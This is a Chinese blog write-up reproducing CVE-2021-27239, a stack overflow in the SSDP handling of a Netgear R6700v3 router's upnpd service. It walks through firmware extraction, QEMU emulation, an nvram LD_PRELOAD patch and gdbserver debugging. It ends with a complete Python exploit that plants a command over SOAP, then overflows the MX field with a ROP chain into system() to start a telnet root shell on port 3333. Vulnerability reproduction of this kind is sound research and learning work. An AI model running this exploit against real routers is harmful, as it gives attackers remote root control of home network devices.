IoT:CVE-2021-27239复现记录

2023-04-09
  1. 0x00:前言
  2. 0x01:相关知识
  3. 0x02:漏洞所在
  4. 0x03:固件模拟
  5. 0x04:远程调试
  6. 0x05:漏洞利用
  7. 0x06:总结与参考

0x00:前言

漏洞CVE-2021-27239被披露于部分Netgear路由器中,是UPnP服务所用的SSDP协议上的一个栈溢出漏洞。该漏洞的利用思路与上一次CVE-2021-34991漏洞相近,所以本文会略写利用手法,详写固件模拟、程序调试等过程。


0x01:相关知识

UPnP协议,Universal Plug and Play,广义的即插即用。UPnP的目的是:当任何设备一旦连接上网络,网络上的其它设备能够马上知道有新设备加入,然后这些设备能够互相宣传和发现彼此的能力和服务,以便能够使用和控制彼此。UPnP避免了人工配置的琐碎和操作的缓慢。

SSDP协议,Simple Service Discovery Protocol,简单服务发现协议,用于宣传和发现设备提供的服务和设备的一些信息。此协议采用基于通知和发现路由的多播发现方式实现,协议客户端在保留的多播地址:239.255.255.250:1900 (IPv4) 发现服务,(IPv6 为FF0x::C)。同时每个设备服务也在此地址上监听服务发现请求。如果服务监听到的发现请求与此服务相匹配,此服务会使用单播方式响应。

请求报文:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all

响应报文:

HTTP/1.1 200 OK
ST: upnp:rootdevice
LOCATION: http://192.168.6.2:5000/Public_UPNP_gatedesc.xml
SERVER: Linux/2.6.12, UPnP/1.0, NETGEAR-UPNP/1.0
EXT:
CACHE-CONTROL: max-age=3600
USN: uuid:6cbbc296-de22-bde2-3d68-5576da5933d1::upnp:rootdevice

0x02:漏洞所在

本次复现所用的固件版本为R6700v3 1.0.4.102,可点击这里下载。下载后使用binwalk -Me提取出固件文件系统。我们已知漏洞存在于upnp服务中,所以首先得找出对应的程序。可以通过相关的命令来帮助我们快速地寻找:

# find命令
find . -name upnpd
# 如果不太确定文件名字,可以使用通配符
find . -name *upnp*

# grep命令
grep -r upnp  #不仅是文件名,文件中含有该字符都会被查找出来

通过命令,可以找到upnp服务程序是/usr/sbin/upnpd。

IDA打开upnpd程序,通过字符串查找,可很快定位到漏洞所在处:

image-20230405210752357

可以看出,strncpy拷贝的长度是等于MX字段的长度,同时v6是位于栈上的,因此可以进行栈溢出利用。


0x03:固件模拟

一开始是使用FirmAE进行模拟,固件模拟是成功了,但发送数据包时,似乎没发送到。后续只能看看源码分析原因了,目前打算使用qemu搭一下😶


qemu系统级模拟:

通过file命令可知道指令架构为32位ARM 小端序,固件的系统级模拟需要内核镜像文件、文件系统和启动文件,在此网站可进行下载。

wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress

在宿主机创建个虚拟网卡,用于与虚拟机交互。接着就是使用qemu-system-arm开始模拟。

#! /bin/bash
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.6.1/24
qemu-system-arm -M vexpress-a9 \
	-kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress \
	-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
	-append "root=/dev/mmcblk0p2" \
	-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

虚拟机成功模拟之后:

# 配置虚拟网卡,用于宿主机交互
ifconfig eth0 192.168.6.2/24

# 从宿主机传输文件系统到虚拟机
# 1.在宿主机执行下面命令,会以当前目录为根目录,在8888端口开启传输服务
python2 -m SimpleHTTPServer 8888   # python2
python3 -m http.server 8888        # python3
# 2.在虚拟机中使用wget下载
wget 192.168.6.1:8888/[file]

# 挂载
mount -t proc /proc ./squashfs-root/proc
mount -o bind /dev ./squashfs-root/dev

chroot ./squashfs-root/ sh

启动upnp服务:/usr/sbin/upnpd

报错:/dev/nvram: No such file or directory这是固件模拟中比较常见的一个问题。

我们可以把相关的代码patch掉,具体操作是:自定义相应的函数,然后通过LD_PRELOAD环境变量优先加载我们编写的库。初此之外,还可能会报找不到dlsym符号的错误,这是因为没有加载到libdl.so.0库。

详细内容可参考:https://paper.seebug.org/1311/

途中需要用到交叉编译,我下载的是cross-compiler-armv5l,使用bin目录中的armv5l-gcc编译代码,输出.so文件。最后将.so文件上传到虚拟机中。文件点击这里下载!

最后:LD_PRELOAD="/nvram.so /libdl.so.0" /usr/sbin/upnpd

我们可以在宿主机nmap 192.168.6.2检查一下upnp服务是否成功启动。


0x04:远程调试

我们所知道,嵌入式设备的磁盘空间是很小的,不足以去添加完整的工具,其中之一就是gdb。了解到,gdbserver是一个程序,它可以使gdb和被调试程序分别运行在不同机器上。想要对upnp服务程序进行调试,我们可以上传一个gdbserver程序到虚拟机中,在虚拟中开启一个调试端口,让宿主机能够连接调试。

点击这里下载gdbserver程序

ps | grep upnpd   # 查看upnpd服务的进程号
./gdbserver-7.7.1-armhf-eabi5-v1-sysv --attach 0.0.0.0:12345 [pid]

由于是arm架构,所以宿主机得用gdb-multiarch进行连接:

# 相关的gdb命令
set architecture arm
target remote 192.168.6.2:12345

我们可以在gdb中设置好断点,然后执行利用脚本,虚拟机中的程序会卡在断点处,等待着我们的调试。


0x05:漏洞利用

漏洞利用思路和上次CVE-2021-34991相差无几,需要注意的是这次对两处发包,一次是先对5000端口发送命令存入,另外一次是对1900端口发包利用。利用手法还是使用栈溢出进行ROP,利用过程:有了大概的想法,然后去找gadget,编写exp试试,然后就是找gadget->慢慢调整,一个反复的过程。

我这里用到的gadget是这两段:

.text:00013908 02 DB 8D E2                   ADD             SP, SP, #0x800
.text:0001390C 70 80 BD E8                   POP             {R4-R6,PC}

.text:00017C78 04 00 A0 E1                   MOV             R0, R4        ; command
.text:00017C7C 78 CC FF EB                   BL              system

找gadget用的工具是ROPgadget,奇怪的是--only参数好像没起到挑选作用。这样子的话,我们可以先ROPgadget --binary ./upnpd,看看指令的大概格式,然后再在后面使用grep来一次或者多次进行挑选。例如:ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"

至于调用system的gadget,我们可以直接在IDA找到对system的关联引用,依次查看。image-20230409184735245


还需要注意的是,这里是对报文有长度限制的:(使用\x00绕过即可)

image-20230415194539489


EXP:

import socket
import pwn

ssdp_port = 1900
upnp_port = 5000
ip = "192.168.6.2"
command = "/bin/utelnetd -p3333 -l/bin/sh -d"

def s2b(s):
	return bytes([ord(x) for x in s])

def mySend(ip, port, payload):
	sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
	sock.connect((ip, port))
	sock.send(payload)
	pwn.sleep(1)
	sock.close()
	
def mySend_http(ip, port, payload):
	sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	sock.connect((ip, port))
	sock.send(payload)
	pwn.sleep(1)
	sock.close()
	
def set_command():
	# 将命令写到全局变量中
	payload =  b'<?xml version="1.0"?> '
	payload += b'<SOAP-ENV:Envelope> '
	payload += b'Body>:'
	payload += s2b(command.replace(" ","${IFS}"))
#	payload += b'ls'
#	payload += b'Body>'
	payload += b" </SOAP-ENV:Body> "
	payload += b"</SOAP-ENV:Envelope>"

	request  = b'POST /Public_UPNP_C5 HTTP/1.1\r\n'
	request += s2b('Host: http://{}:{}\r\n'.format(ip, upnp_port))
	request += b'SOAPAction\r\n'
	request += s2b('Content-Length: {}\r\n'.format(len(payload)))
	request += b'\r\n'
	request += payload

	mySend_http(ip, upnp_port, request)

def Exploit():
	
	stack_add_gadget = 0x13908  # ADD  SP, SP, #0x800;  POP  {R4-R6,PC}
	command_address  = 0x65A58
	system_gadget    = 0x17C78  # MOV R0, R4; BL system

	payload = b'M-SEARCH * HTTP/1.1\r\n'
	payload += b'HOST: 239.255.255.250:1900\r\n'
	payload += b'MAN: "ssdp:discover"\r\n'
	payload += b'MX:4' + b'A'*0x7f
	payload += b'4444'
	payload += b'5555'
	payload += b'6666'
	payload += pwn.p32(stack_add_gadget)[:3]
	payload += b'\r\n\x00'     # \x00绕过长度检查
	payload += b'J'*(0x800 - 0x778)
	payload += pwn.p32(command_address)
	payload += b'K'*4*2
	payload += pwn.p32(system_gadget)
	payload += b'ST: ssdp:all\r\n'
	print("len="+str(len(payload)))
	print(payload)
	mySend(ip, ssdp_port, payload)
	
if __name__ == "__main__":
	set_command()
	Exploit()

这次利用因为得向两处发包,所以EXP有点冗余。幸运的是,我在pursue师傅的文章中学了一招,可以直接使用strncpy函数来存入命令。

.text:0000BB44 04 00 A0 E1                   MOV             R0, R4        ; dest
.text:0000BB48 0D 10 A0 E1                   MOV             R1, SP        ; src
.text:0000BB4C F2 FE FF EB                   BL              strcpy
.text:0000BB4C
.text:0000BB50 01 DB 8D E2                   ADD             SP, SP, #0x400
.text:0000BB54 70 80 BD E8                   POP             {R4-R6,PC}

这还是挺不错的,毕竟不一定所有的路由器都能找到写入命令的服务。


0x06:总结与参考

这次学到了很多东西,不过对于工具的使用还得慢慢消化……😴

参考:

https://paper.seebug.org/1311/

https://rmrfsad.github.io/2023/04/05/iot/CVE-2021-27239/

返回首页